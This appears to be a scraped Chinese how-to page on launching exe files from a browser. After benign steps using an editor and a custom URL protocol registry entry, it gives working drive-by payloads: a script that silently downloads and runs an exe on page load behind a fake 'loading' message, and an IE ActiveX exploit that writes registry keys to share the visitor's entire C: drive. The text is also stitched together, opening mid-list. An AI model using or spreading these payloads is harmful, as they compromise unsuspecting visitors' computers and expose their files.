
3、还有种打开方式就是使用UE工具打开exe文件,打开搜狗浏览器,在搜索页面输入:UE工具,然后点击进入网站下载安装软件。
4、安装好之后打开软件,点击软件左上方的文件,在出现的'选项点击打开。
5、然后在页面找到自己要打开的exe文件,选择好之后点击下面的打开。就可以打开exe文件了。
骤如下假设我们准备好的exe主程序放置在d:/print/print.exe
编辑注册表信息如下
在hkey_classes_root下面新建一个shitou目录
编辑目录的默认属性,值为shitouProtocol
接着再新建一个字符串值,名称为URL
Protocol,值为d:/print/print.exe
接着在新建一个项(目录),目录名为DefaultIcon,编辑该目录的默认属性,值为d:/print/print.exe,1
在shitou下面再新建一个项,名称为shell
在shell下面再新建一个项,名称为open
在open下面再新建一个项,名称为command,编辑该目录的默认属性,值为”d:/print/print.exe”
“%1”
完成设置(在xp系统下需要重启)
完成设置
在网页a链接中,href=”shitou://”就可以打开该exe程序了(亲测兼容各个浏览器)
第一种它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个test.html的文件在桌面,内容如下:
<script
language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM
NAME=\"_Version\"
value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后....</H1></HTML>"
document.open()
document.clear()
document.writeln(run_exe)
document.close()
</script>
第二种
是通过ie自身的漏洞写入注册表,可以做个页面让浏览者的硬盘完全共享,也是做个html的文件,内容如下:
script
language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>")
function
f(){
a1=document.applets[0]
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
a1.createInstance()
Shl
= a1.GetObject()
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD")
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
)
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\")
}
function
init()
{
setTimeout("f()", 1000)
}
init()
</script>
第三种
个人认为是现在最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)